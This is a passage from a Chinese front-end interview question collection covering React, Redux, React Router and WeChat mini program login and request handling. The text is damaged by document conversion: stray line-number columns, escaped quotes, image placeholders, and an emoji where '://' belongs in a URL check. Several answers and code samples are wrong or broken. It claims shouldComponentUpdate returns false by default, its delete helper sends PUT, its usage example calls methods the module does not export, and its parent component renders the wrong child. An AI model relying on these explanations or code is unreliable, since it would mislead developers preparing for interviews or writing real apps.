  2. 然后计算之前 DOM 表示与新表示的之间的差异。

    1659075896(1){width="5.761805555555555in" height="2.3986111111111112in"}

  3. 完成计算后,将只用实际更改的内容更新 real DOM。

    1659075922(1){width="5.768055555555556in" height="4.560416666666667in"}

# 6.8为什么浏览器无法读取JSX?

浏览器只能处理 JavaScript 对象,而不能读取常规 JavaScript 对象中的 JSX。所以为了使浏览器能够读取 JSX,首先,需要用像 Babel 这样的 JSX 转换器将 JSX 文件转换为 JavaScript 对象,然后再将其传给浏览器。

# 6.9与 ES5 相比,React 的 ES6 语法有何不同?

以下语法是 ES5 与 ES6 中的区别:

require 与 import

// ES5

var React = require('react');

// ES6

import React from 'react';

export 与 exports

// ES5

module.exports = Component;

// ES6

export default Component;

component 和 function

// ES5

var MyComponent = React.createClass({

render: function () {

return

<h3>Hello Edureka!</h3>;

}

});

// ES6

class MyComponent extends React.Component {

render() {

return

<h3>Hello Edureka!</h3>;

}

}

Props

// ES5

var App = React.createClass({

propTypes: { name: React.PropTypes.string },

render: function () {

return

<h3>Hello, {this.props.name}!</h3>;

}

});

// ES6

class App extends React.Component {

render() {

return

<h3>Hello, {this.props.name}!</h3>;

}

}

State

// ES5

var App = React.createClass({

getInitialState: function () {

return { name: 'world' };

},

render: function () {

return

<h3>Hello, {this.state.name}!</h3>;

}

});

// ES6

class App extends React.Component {

constructor() {

super();

this.state = { name: 'world' };

}

render() {

return

<h3>Hello, {this.state.name}!</h3>;

}

}

# 6.10 React与Angular有何不同

{width="5.7652777777777775in" height="2.817361111111111in"}

# 6.11你理解"在React中,一切都是组件"这句话

组件是 React 应用 UI 的构建块。这些组件将整个 UI 分成小的独立并可重用的部分。每个组件彼此独立,而不会影响 UI 的其余部分。

# 6.12解释 React 中 render() 的目的。

每个React组件强制要求必须有一个 render()。它返回一个 React 元素,是原生 DOM 组件的表示。如果需要渲染多个 HTML 元素,则必须将它们组合在一个封闭标记内,例如 <form>、<group>、<div> 等。此函数必须保持纯净,即必须每次调用时都返回相同的结果。

# 6.13如何将两个或多个组件嵌入到一个组件中?

可以通过以下方式将组件嵌入到一个组件中:

class MyComponent extends React.Component {

render() {

return (

<div>

<h1>Hello</h1>

<Header />

</div>

);

}

}

class Header extends React.Component {

render() {

return

<h1>Header Component</h1>

};

}

ReactDOM.render(

<MyComponent />, document.getElementById('content')

);

# 6.14什么是 Props?

Props 是 React 中属性的简写。它们是只读组件,必须保持纯,即不可变。它们总是在整个应用中从父组件传递到子组件。子组件永远不能将 prop 送回父组件。这有助于维护单向数据流,通常用于呈现动态生成的数据。

# 6.15 React中的状态是什么?它是如何使用的?

状态是 React 组件的核心,是数据的来源,必须尽可能简单。基本上状态是确定组件呈现和行为的对象。与props 不同,它们是可变的,并创建动态和交互式组件。可以通过 this.state() 访问它们。

# 6.16区分状态和 props

{width="5.7659722222222225in" height="2.7743055555555554in"}

# 6.17如何更新组件的状态?

可以用 this.setState()更新组件的状态。

class MyComponent extends React.Component {

constructor() {

super();

this.state = {

name: 'Maxx',

id: '101'

}

}

render() {

setTimeout(() => { this.setState({ name: 'Jaeha', id: '222' }) }, 2000)

return (

<div>

<h1>Hello {this.state.name}</h1>

<h2>Your Id is {this.state.id}</h2>

</div>

);

}

}

ReactDOM.render(

<MyComponent />, document.getElementById('content')

);

# 6.18 React 中的箭头函数是什么?怎么用?

箭头函数(=>)是用于编写函数表达式的简短语法。这些函数允许正确绑定组件的上下文,因为在 ES6 中默认下不能使用自动绑定。使用高阶函数时,箭头函数非常有用。

//General way

render() {

return (

<MyInput onChange={this.handleChange.bind(this)} />

);

}

//With Arrow Function

render() {

return (

<MyInput onChange={(e) => this.handleOnChange(e)} />

);

}

# 6.19区分有状态和无状态组件。

1659076677(1){width="5.7659722222222225in" height="2.33125in"}

# 6.20 React组件生命周期的阶段是什么?

React 组件的生命周期有三个不同的阶段:

初始渲染阶段:这是组件即将开始其生命之旅并进入 DOM 的阶段。

更新阶段:一旦组件被添加到 DOM,它只有在 prop 或状态发生变化时才可能更新和重新渲染。这些只发生在这个阶段。

卸载阶段:这是组件生命周期的最后阶段,组件被销毁并从 DOM 中删除。

# 6.21详细解释 React 组件的生命周期方法。

一些最重要的生命周期方法是:

componentWillMount() -- 在渲染之前执行,在客户端和服务器端都会执行。

componentDidMount() -- 仅在第一次渲染后在客户端执行。

componentWillReceiveProps() -- 当从父类接收到 props 并且在调用另一个渲染器之前调用。

shouldComponentUpdate() -- 根据特定条件返回 true 或 false。如果你希望更新组件,请返回true 否则返回 false。默认情况下,它返回 false。

componentWillUpdate() -- 在 DOM 中进行渲染之前调用。

componentDidUpdate() -- 在渲染发生后立即调用。

componentWillUnmount() -- 从 DOM 卸载组件后调用。用于清理内存空间。

# 6.22 React中的事件是什么?

在 React 中,事件是对鼠标悬停、鼠标单击、按键等特定操作的触发反应。处理这些事件类似于处理 DOM 元素中的事件。但是有一些语法差异,如:

用驼峰命名法对事件命名而不是仅使用小写字母。

事件作为函数而不是字符串传递。

事件参数重包含一组特定于事件的属性。每个事件类型都包含自己的属性和行为,只能通过其事件处理程序访问。

# 6.23如何在React中创建一个事件?

        class Display extends React.Component({

            show(evt) {

                // code  

            },

            render() {

                // Render the div with an onClick prop (value is a function)        

                return (

                    \<div onClick={this.show}>Click Me!\</div>

                );

            }

        });
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# 6.24 React中的合成事件是什么?

合成事件是围绕浏览器原生事件充当跨浏览器包装器的对象。它们将不同浏览器的行为合并为一个 API。这样做是为了确保事件在不同浏览器中显示一致的属性。

# 6.25你对 React 的 refs 有什么了解?

Refs 是 React 中引用的简写。它是一个有助于存储对特定的 React 元素或组件的引用的属性,它将由组件渲染配置函数返回。用于对 render() 返回的特定元素或组件的引用。当需要进行 DOM 测量或向组件添加方法时,它们会派上用场。

        class ReferenceDemo extends React.Component {

            display() {

                const name = this.inputDemo.value;

                document.getElementById(\'disp\').innerHTML = name;

            }

            render() {

                return (

                    \<div>

                        Name: \<input type=\"text\" ref={input => this.inputDemo = input} />

                        \<button name=\"Click\" onClick={this.display}>Click\</button>

                        \<h2>Hello \<span id=\"disp\"\>\</span> !!!\</h2>

                    \</div>

                );

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 6.26列出一些应该使用 Refs 的情况。

以下是应该使用 refs 的情况:

需要管理焦点、选择文本或媒体播放时

触发式动画

与第三方 DOM 库集成

# 6.27你如何模块化 React 中的代码?

可以使用 export 和 import 属性来模块化代码。它们有助于在不同的文件中单独编写组件。

        //ChildComponent.jsx

        export default class ChildComponent extends React.Component {

            render() {

                return (

                    \<div>

                        \<h1>This is a child component\</h1>

                    \</div>

                );

            }

        }

        //ParentComponent.jsx

        import ChildComponent from \'./childcomponent.js\';

        class ParentComponent extends React.Component {

            render() {

                return (

                    \<div>

                        \<App />

                    \</div>

                );

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

# 6.28如何在 React 中创建表单

React 表单类似于 HTML 表单。但是在 React 中,状态包含在组件的 state 属性中,并且只能通过 setState() 更新。因此元素不能直接更新它们的状态,它们的提交是由 JavaScript 函数处理的。此函数可以完全访问用户输入到表单的数据。

        handleSubmit(event) {

            alert(\'A name was submitted: \' + this.state.value);

            event.preventDefault();

        }

        render() {

            return (

                \<form onSubmit={this.handleSubmit}>

                    \<label>

                        Name:

                        \<input type=\"text\" value={this.state.value} onChange={this.handleSubmit} />

                    \</label>

                    \<input type=\"submit\" value=\"Submit\" />

                \</form>

            );

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 6.29你对受控组件和非受控组件了解多少?

1659077098(1){width="5.7659722222222225in" height="1.5590277777777777in"}

# 6.30什么是高阶组件(HOC)?

高阶组件是重用组件逻辑的高级方法,是一种源于 React 的组件模式。 HOC 是自定义组件,在它之内包含另一个组件。它们可以接受子组件提供的任何动态,但不会修改或复制其输入组件中的任何行为。你可以认为 HOC 是"纯(Pure)"组件。

# 6.31你能用HOC做什么?

HOC可用于许多任务,例如:

代码重用,逻辑和引导抽象

渲染劫持

状态抽象和控制

Props 控制

# 6.32什么是纯组件?

纯(Pure) 组件是可以编写的最简单、最快的组件。它们可以替换任何只有 render() 的组件。这些组件增强了代码的简单性和应用的性能。

# 6.33 React 中 key 的重要性是什么?

key 用于识别唯一的 Virtual DOM 元素及其驱动 UI 的相应数据。它们通过回收 DOM 中当前所有的元素来帮助 React 优化渲染。这些 key 必须是唯一的数字或字符串,React 只是重新排序元素而不是重新渲染它们。这可以提高应用程序的性能。

# 6.34 MVC框架的主要问题是什么?

以下是MVC框架的一些主要问题:

对 DOM 操作的代价非常高

程序运行缓慢且效率低下

内存浪费严重

由于循环依赖性,组件模型需要围绕 models 和 views 进行创建

# 6.35解释一下 Flux

Flux 是一种强制单向数据流的架构模式。它控制派生数据,并使用具有所有数据权限的中心 store 实现多个组件之间的通信。整个应用中的数据更新必须只能在此处进行。 Flux 为应用提供稳定性并减少运行时的错误。

# 6.36什么是Redux?

Redux 是当今最热门的前端开发库之一。它是 JavaScript 程序的可预测状态容器,用于整个应用的状态管理。使用 Redux 开发的应用易于测试,可以在不同环境中运行,并显示一致的行为。

# 6.37 Redux遵循的三个原则是什么?

  1. 单一事实来源:整个应用的状态存储在单个 store 中的对象/状态树里。单一状态树可以更容易地跟踪随时间的变化,并调试或检查应用程序。

  2. 状态是只读的:改变状态的唯一方法是去触发一个动作。动作是描述变化的普通 JS 对象。就像 state 是数据的最小表示一样,该操作是对数据更改的最小表示。

  3. 使用纯函数进行更改:为了指定状态树如何通过操作进行转换,你需要纯函数。纯函数是那些返回值仅取决于其参数值的函数。

# 6.38你对"单一事实来源"有什么理解?

Redux 使用 "Store" 将程序的整个状态存储在同一个地方。因此所有组件的状态都存储在 Store 中,并且它们从 Store 本身接收更新。单一状态树可以更容易地跟踪随时间的变化,并调试或检查程序。

# 6.39 列出 Redux 的组件。

Redux 由以下组件组成:

1、Action -- 这是一个用来描述发生了什么事情的对象。

2、Reducer -- 这是一个确定状态将如何变化的地方。

3、Store -- 整个程序的状态/对象树保存在Store中。

4、View -- 只显示 Store 提供的数据。

# 6.40 数据如何通过 Redux 流动?

1659077374(1){width="5.768055555555556in" height="2.247916666666667in"}

# 6.41 如何在 Redux 中定义 Action?

React 中的 Action 必须具有 type 属性,该属性指示正在执行的 ACTION 的类型。必须将它们定义为字符串常量,并且还可以向其添加更多的属性。在 Redux 中,action 被名为 Action Creators 的函数所创建。以下是 Action 和Action Creator 的示例:

function addTodo(text) {

return {

type: ADD_TODO,

text

}

}

# 6.42 解释 Reducer 的作用。

Reducers 是纯函数,它规定应用程序的状态怎样因响应 ACTION 而改变。Reducers 通过接受先前的状态和 action 来工作,然后它返回一个新的状态。它根据操作的类型确定需要执行哪种更新,然后返回新的值。如果不需要完成任务,它会返回原来的状态。

# 6.43 Store 在 Redux 中的意义是什么?

Store 是一个 JavaScript 对象,它可以保存程序的状态,并提供一些方法来访问状态、调度操作和注册侦听器。应用程序的整个状态/对象树保存在单一存储中。因此,Redux 非常简单且是可预测的。我们可以将中间件传递到 store 来处理数据,并记录改变存储状态的各种操作。所有操作都通过 reducer 返回一个新状态。

# 6.44 Redux与Flux有何不同?

1659077476(1){width="5.7652777777777775in" height="2.7222222222222223in"}

# 6.45 Redux 有哪些优点?

Redux 的优点如下:

结果的可预测性 - 由于总是存在一个真实来源,即 store ,因此不存在如何将当前状态与动作和应用的其他部分同步的问题。

可维护性 - 代码变得更容易维护,具有可预测的结果和严格的结构。

服务器端渲染 - 你只需将服务器上创建的 store 传到客户端即可。这对初始渲染非常有用,并且可以优化应用性能,从而提供更好的用户体验。

开发人员工具 - 从操作到状态更改,开发人员可以实时跟踪应用中发生的所有事情。

社区和生态系统 - Redux 背后有一个巨大的社区,这使得它更加迷人。一个由才华横溢的人组成的大型社区为库的改进做出了贡献,并开发了各种应用。

易于测试 - Redux 的代码主要是小巧、纯粹和独立的功能。这使代码可测试且独立。

组织 - Redux 准确地说明了代码的组织方式,这使得代码在团队使用时更加一致和简单。

# 6.46 什么是React 路由?

React 路由是一个构建在 React 之上的强大的路由库,它有助于向应用程序添加新的屏幕和流。这使 URL 与网页上显示的数据保持同步。它负责维护标准化的结构和行为,并用于开发单页 Web 应用。 React 路由有一个简单的API。

# 6.47 为什么React Router v4中使用 switch 关键字 ?

虽然 <div> 用于封装 Router 中的多个路由,当你想要仅显示要在多个定义的路线中呈现的单个路线时,可以使用 "switch" 关键字。使用时,<switch> 标记会按顺序将已定义的 URL 与已定义的路由进行匹配。找到第一个匹配项后,它将渲染指定的路径。从而绕过其它路线。

# 6.48 为什么需要 React 中的路由?

Router 用于定义多个路由,当用户定义特定的 URL 时,如果此 URL 与 Router 内定义的任何 "路由" 的路径匹配,则用户将重定向到该特定路由。所以基本上我们需要在自己的应用中添加一个 Router 库,允许创建多个路由,每个路由都会向我们提供一个独特的视图

<switch>

<route exact path='/' component={Home}/>

<route path='/posts/:id' component={Newpost}/>

<route path='/posts'   component={Post}/>

</switch>

# 6.49 列出 React Router 的优点。

几个优点是:

就像 React 基于组件一样,在 React Router v4 中,API 是 'All About Components'。可以将 Router 可视化为单个根组件(<BrowserRouter>),其中我们将特定的子路由( <route> )包起来。

无需手动设置历史值:在 React Router v4 中,我们要做的就是将路由包装在 < BrowserRouter> 组件中。

包是分开的:共有三个包,分别用于 Web、Native 和 Core。这使我们应用更加紧凑。基于类似的编码风格很容易进行切换。

# 6.50 React Router与常规路由有何不同?

1659077670(1){width="5.764583333333333in" height="1.6340277777777779in"}

# 第7章 微信小程序

# 7.1. 简单描述下微信小程序的相关文件类型

微信小程序项目结构主要有四个文件类型

  • WXML(WeiXin Markup Language)是框架设计的一套标签语言,结合基础组件、事件系统,可以构建出页面的结构。内部主要是微信自己定义的一套组件

  • WXSS (WeiXin Style Sheets)是一套样式语言,用于描述 WXML 的组件样式

  • js 逻辑处理,网络请求

  • json 小程序设置,如页面注册,页面标题及tabBar

主要文件

  • app.json 必须要有这个文件,如果没有这个文件,项目无法运行,因为微信框架把这个作为配置文件入口,整个小程序的全局配置。包括页面注册,网络设置,以及小程序的 window 背景色,配置导航条样式,配置默认标题

  • app.js 必须要有这个文件,没有也是会报错!但是这个文件创建一下就行 什么都不需要写以后我们可以在这个文件中监听并处理小程序的生命周期函数、声明全局变量

  • app.wxss 可选

# 7.2. 简述微信小程序原理

微信小程序采用 JavaScript、WXML、WXSS 三种技术进行开发,本质就是一个单页面应用,所有的页面渲染和事件处理,都在一个页面内进行,但又可以通过微信客户端调用原生的各种接口

微信的架构,是数据驱动的架构模式,它的 UI 和数据是分离的,所有的页面更新,都需要通过对数据的更改来实现

小程序分为两个部分 webview 和 appService 。其中 webview 主要用来展现 UI ,appService 有来处理业务逻辑、数据及接口调用。它们在两个进程中运行,通过系统层 JSBridge 实现通信,实现 UI 的渲染、事件的处理

# 7.3. 小程序的双向绑定和vue哪里不一样

小程序直接 this.data 的属性是不可以同步到视图的,必须调用:

this.setData({

// 这里设置

})

# 7.4. 小程序的wxss和css有哪些不一样的地方

WXSS 和 CSS 类似,不过在 CSS 的基础上做了一些补充和修改

  • 尺寸单位 rpx

rpx 是响应式像素,可以根据屏幕宽度进行自适应。规定屏幕宽为 750rpx。如在 iPhone6 上,屏幕宽度为 375px,共有 750 个物理像素,则 750rpx = 375px = 750 物理像素

  • 使用 @import 标识符来导入外联样式。@import 后跟需要导入的外联样式表的相对路径,用;表示语句结束

/** index.wxss **/

@import './base.wxss';

.container{

color: red;

}

# 7.5. 小程序页面间有哪些传递数据的方法

  • 使用全局变量实现数据传递 在 app.js 文件中定义全局变量 globalData, 将需要存储的信息存放在里面

// app.js

App({

// 全局变量

globalData: {

userInfo: null

}

})

使用的时候,直接使用 getApp() 拿到存储的信息

  • 使用 wx.navigateTo 与 wx.redirectTo 的时候,可以将部分数据放在 url 里面,并在新页面 onLoad 的时候初始化

//pageA.js

// Navigate

wx.navigateTo({

url: '../pageD/pageD?name=raymond&gender=male',

})

// Redirect

wx.redirectTo({

url: '../pageD/pageD?name=raymond&gender=male',

})

// pageB.js

...

Page({

onLoad: function(option){

console.log(option.name + 'is' + option.gender)

this.setData({

option: option

})

}

})

需要注意的问题:

wx.navigateTo 和 wx.redirectTo 不允许跳转到 tab 所包含的页面

onLoad 只执行一次

  • 使用本地缓存 Storage 相关

# 7.6. 小程序的生命周期函数

  • onLoad 页面加载时触发。一个页面只会调用一次,可以在 onLoad 的参数中获取打开当前页面路径中的参数

  • onShow() 页面显示/切入前台时触发

  • onReady() 页面初次渲染完成时触发。一个页面只会调用一次,代表页面已经准备妥当,可以和视图层进行交互

  • onHide() 页面隐藏/切入后台时触发。 如 navigateTo 或底部 tab 切换到其他页面,小程序切入后台等

  • onUnload() 页面卸载时触发。如 redirectTo 或 navigateBack 到其他页面时

# 7.7. 怎么封装微信小程序的数据请求

网络请求小程序提供了wx.request, 仔细看一下 api,这不就是n年前的 $.ajax 吗,好古老啊。

// 官方例子

wx.request({

url: 'test.php', //仅为示例,并非真实的接口地址

data: {

x: '' ,

y: ''

},

header: {

'content-type': 'application/json' // 默认值

},

success: function(res) {

console.log(res.data)

}

})

小程序支持ES6,那么就应该支持Promise 了,很开心~, 话不多说直接上代码吧

Promise封装

const baseUrl = 'https://api.it120.cc';

const http = ({ url = '', param = {}, ...other } = {}) => {

wx.showLoading({

title: '请求中,请耐心等待..'

});

let timeStart = Date.now();

return new Promise((resolve, reject) => {

wx.request({

url: getUrl(url),

data: param,

header: {

'content-type': 'application/json' // 默认值 ,另一种是 "content-type": "application/x-www-form-urlencoded"

},

...other,

complete: (res) => {

wx.hideLoading();

console.log(`耗时${Date.now() - timeStart}`);

if (res.statusCode >= 200 && res.statusCode < 300) {

resolve(res.data)

} else {

reject(res)

}

}

})

})

}

const getUrl = (url) => {

if (url.indexOf('😕/') == -1) {

url = baseUrl + url;

}

return url

}

// get方法

const _get = (url, param = {}) => {

return http({

url,

param

})

}

const _post = (url, param = {}) => {

return http({

url,

param,

method: 'post'

})

}

const _put = (url, param = {}) => {

return http({

url,

param,

method: 'put'

})

}

const _delete = (url, param = {}) => {

return http({

url,

param,

method: 'put'

})

}

module.exports = {

baseUrl,

_get,

_post,

_put,

_delete

}

使用

const api = require('../../utils/api.js')

// 单个请求

api.get('list').then(res => {

console.log(res)

}).catch(e => {

console.log(e)

})

// 一个页面多个请求

Promise.all([

api.get('list'),

api.get(`detail/${id}`)

]).then(result => {

console.log(result)

}).catch(e => {

console.log(e)

})

# 7.8 登陆问题

做一个应用,肯定避免不了登录操作。用户的个人信息啊,相关的收藏列表等功能都需要用户登录之后才能操作。一般我们使用token做标识。

小程序并没有登录界面,使用的是 wx.login 。 wx.login 会获取到一个 code,拿着该 code 去请求我们的后台会最后返回一个token到小程序这边,保存这个值为 token 每次请求的时候带上这个值。

一般还需要把用户的信息带上比如用户微信昵称,微信头像等,这时候就需要使用 wx.getUserInfo ,这里涉及到一个用户授权的问题

带上用户信息就够了嘛? too young too simple!我们的项目不可能只有小程序,相应的微信公众平台可能还有相应的App,我们需要把账号系统打通,让用户在我们的项目中的账户是同一个。这就需要用到微信开放平台提供的 UnionID 。

登陆

//app.js

App({

onLaunch: **function** () {

console.log(\'App onLaunch\');

**var** that = **this**;

// 获取商城名称

wx.request({

url: \'https://api.it120.cc/\'+ that.globalData.subDomain +\'/config/get-value\',

data: {

key: \'mallName\'

},

success: **function**(res) {

wx.setStorageSync(\'mallName\', res.data.data.value);

}

})

**this**.login();

**this**.getUserInfo();

},

login : **function** () {

**var** that = **this**;

**var** token = that.globalData.token;

// 如果有token

**if** (token) {

// 检查token是否有效

wx.request({

url: \'https://api.it120.cc/\' + that.globalData.subDomain + \'/user/check-token\',

data: {

token: token

},

success: **function** (res) {

// 如果token失效了

**if** (res.data.code != 0) {

that.globalData.token = null;

that.login(); // 重新登陆

}

}

})

**return**;

}

// 【1】调用微信自带登陆

wx.login({

success: **function** (res) {

// 【2】 拿到code去访问我们的后台换取其他信息

wx.request({

url: \'https://api.it120.cc/\'+ that.globalData.subDomain +\'/user/wxapp/login\',

data: {

code: res.code

},

success: **function**(res) {

// 如果说这个code失效的

**if** (res.data.code == 10000) {

// 去注册

that.registerUser();

**return**;

}

// 如果返回失败了

**if** (res.data.code != 0) {

// 登录错误

wx.hideLoading();

// 提示无法登陆

wx.showModal({

title: \'提示\',

content: \'无法登录,请重试\',

showCancel:false

})

**return**;

}

// 【3】 如果成功后设置token到本地

that.globalData.token = res.data.data.token;

// 保存用户信息

wx.setStorage({

key: \'token\',

data: res.data.data.token

})

}

})

}

})

},

// 注册?? \[这个看需求\]

registerUser: **function** () {

**var** that = **this**;

wx.login({

success: **function** (res) {

**var** code = res.code; // 微信登录接口返回的 code 参数,下面注册接口需要用到

wx.getUserInfo({

success: **function** (res) {

**var** iv = res.iv;

**var** encryptedData = res.encryptedData;

// 下面开始调用注册接口

wx.request({

url: \'https://api.it120.cc/\' + that.globalData.subDomain +\'/user/wxapp/register/complex\',

data: {code:code,encryptedData:encryptedData,iv:iv}, // 设置请求的 参数

success: (res) =>{

wx.hideLoading();

that.login();

}

})

}

})

}

})

},

// 获取用户信息

getUserInfo:**function**() {

wx.getUserInfo({

success:(data) =>{

**this**.globalData.userInfo = data.userInfo;

wx.setStorage({

key: \'userInfo\',

data: data.userInfo

})

**return** **this**.globalData.userInfo;

}

})

},

globalData:{

userInfo:null,

subDomain:\"34vu54u7vuiuvc546d\",

token: null

}

})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243

# 7.8.1授权问题

https://segmentfault.com/img/remote/1460000014815235?w=510&h=742{width="5.313888888888889in" height="7.732638888888889in"}

getUserInfo: function () {

// 先调用wx.getSetting 获取用户权限设置

wx.getSetting({

success(res) {

console.log(\'1\');

**if** (!res.authSetting\[\'scope.userInfo\'\]) {

wx.authorize({

scope: \'scope.userInfo\',

success() {

// 用户已经同意小程序使用录音功能,后续调用 wx.getUserInfo接口不会弹窗询问

wx.getUserInfo({

success: (**data**) => {

**this**.globalData.userInfo = **data**.userInfo;

wx.setStorage({

key: \'userInfo\',

**data**: **data**.userInfo

})

**return** **this**.globalData.userInfo;

}

})

}

})

} **else** {

console.log(2);

}

}

})

},
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

# 7.8.2小程序登录流程

这里引用下官方的一张登录流程图,我就按照登录流程图来讲下我的理解。

https://user-gold-cdn.xitu.io/2018/12/13/167a7d9b132d9c84?imageslim{width="6.705555555555556in" height="6.800694444444445in"}

# 第一步

客户端(小程序)获取当前微信登录用户的登录凭证(code)

可通过wx.login api获得。这里有地方需要注意

1.wx.login不会弹授权弹框

2.wx.login换取的code只能使用一次,如果需要新code只能重新调用wx.login接口

wx.login({

success:(res)=>{

let code= res.code

}

})

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 第二步

通过上一步获得的临时登录凭证传给服务器端获取openid和session_key.服务器端需要通过appid、appsecret、(这里的数据可以从小程序管理后台获得)code(第一步获取到的code)向微信服务端发送请求获取seeeion_key和openid。为了安全。建议将获得的session_key加密后再传给客户端。

# 第三步

客户端获得加密后的登录态后把登录态存在本地以便后面进行业务请求。由于小程序中不存在cookie机制。所以可以把登录态存储在storage中。

以上就是微信官方登录流程图的一个大体过程。

但是在实际应用中可能要复杂点?我们接下来看。

# 7.8.3登录态在实际应用中的维护

这里看一下微信官方的说明

通过 wx.login 接口获得的用户登录态拥有一定的时效性。

用户越久未使用小程序,用户登录态越有可能失效。

反之如果用户一直在使用小程序,则用户登录态一直保持有效。

具体时效逻辑由微信维护,对开发者透明。

开发者只需要调用 wx.checkSession 接口检测当前用户登录态是否有效。

复制代码

这说明如果用户一直在使用小程序。登录态就不会过期。反之就会过期。这里可以通过wx.checkSession api 来判断登录态是否过期。

接下来上代码。来看下在应用中的登录态维护。

目前在小程序中需要拉起微信登录授权的弹框。需要在wxml文件中调用button组件来调用:如下

\<button bindgetuserinfo=\"getInfo\" hover-class=\"none\" open-type=\"getUserInfo\"\>\</button>
1

这样用户点击按钮的时候会弹出授权获取用户信息的弹窗。用户点击允许我们就可以拿到数据进行登录并进行业务请求。 如果点击拒绝可以获取不需要登录可查看的数据请求,并安利用户拒绝后的结果。重新引导用户进行授权。

下面是用户非首次进入应用的一个登录态维护(首次进入通过button来授权。所以success回调是不会执行的。直接fail的回调。)

// 小程序启动判断用户是否授权,根据是否授权来请求不同的业务数据

wx.getSetting({

success: (res) => {

//用户已授权

if (res.authSetting\[\'scope.userInfo\'\]) {

// 判断登录态是否过期

wx.checkSession({

// 登录态未过期,直接进行业务请求

success: (res) => {

//业务请求代码。。。

},

// 登录态已过期 。重新调用wx.login进行登录换取code

fail: (res) => {

// 可以在这里进行重新登录后的回调

wx.login({

success: function(res) {

let code = res.code;

}

})

}

})

}

// 为授权

else {

// 执行未授权的业务代码

}

}

})

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

附上登录态过期的回调。

/**

* 登录失败后重新登录

*/

getToken: function(fn) {

let that = this;

let getLogin = new Promise((resolve, reject) => {

//登录获取code

wx.login({

success: function(res) {

var code = res.code;

that.globalData.code = code;

resolve(\[fn, code\]);

},

fail: function(res) {

reject();

}

})

});

getLogin.then((\[fn, code\]) => {

return new Promise((resolve, reject) => {

//使用该api需要在页面通过button组件触发授权弹窗

wx.getUserInfo({

success: function(res) {

//这里的iv,encryptedData等数据是用来服务器端进行解密的。

let requestData = {

\"Data\": {

\"IV\": res.iv,

\"EncryptedData\": res.encryptedData,

\"JsCode\": code,

},

}

//发送请求

wx.request({

url: that.apiList.login.getLogin,

data: requestData,

method: \"POST\",

success: function(res) {

//获取到自定义登录态存入storage

if (res.data && res.data.Success) {

that.globalData.token = res.data.Data.Key;

wx.setStorageSync(\'LoginSessionKey\', res.data.Data.Key);

resolve(fn);

} else {

reject();

}

},

fail: function() {

Hq.tipMaskNoneIcon(\'您的网络开小差了\');

}

})

}

})

});

}).then((fn) => {

that.getCountryInfo(fn);

}, function() {}))

},

//执行fn回调函数

getCountryInfo: function(fn) {

if (typeof fn == \'function\') {

//登录成功后进行业务请求。

fn();

} else {

Hq.afterSend();

}

},

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126

以上就是我的一些理解。有语句不通,逻辑不清晰的地方,请不吝留言赐教!

# 7.9. 哪些方法可以用来提高微信小程序的应用速度

1、提高页面加载速度

2、用户行为预测

3、减少默认 data 的大小

4、组件化方案

# 7.10. 微信小程序的优劣势

优势

  • 即用即走,不用安装,省流量,省安装时间,不占用桌面

  • 依托微信流量,天生推广传播优势

  • 开发成本比 App 低

缺点

  • 用户留存,即用即走是优势,也存在一些问题

  • 入口相对传统 App 要深很多

  • 限制较多,页面大小不能超过2M。不能打开超过10个层级的页面

# 7.11. 怎么解决小程序的异步请求问题

小程序支持大部分 ES6 语法

  • 在返回成功的回调里面处理逻辑

  • Promise 异步

# 7.12. 小程序关联微信公众号如何确定用户的唯一性

如果开发者拥有多个移动应用、网站应用、和公众帐号(包括小程序),可通过 unionid 来区分用户的唯一性,因为只要是同一个微信开放平台帐号下的移动应用、网站应用和公众帐号(包括小程序),用户的 unionid 是唯一的。换句话说,同一用户,对同一个微信开放平台下的不同应用,unionid 是相同的

# 7.13. 如何实现下拉刷新

  • 首先在全局 config 中的 window 配置 enablePullDownRefresh

  • 在 Page 中定义 onPullDownRefresh 钩子函数,到达下拉刷新条件后,该钩子函数执行,发起请求方法

  • 请求返回后,调用 wx.stopPullDownRefresh 停止下拉刷新

下拉刷新和上拉加载是业务上一个很常见的需求,在微信小程序里,提供了下拉刷新的方法 onPullDownRefresh 。而实现上拉加载相对来说就比较不方便了。

# 6.13.1下拉刷新

虽然微信的官方文档有很多坑,但下拉刷新介绍的还是很全面的。在这里稍稍带过。

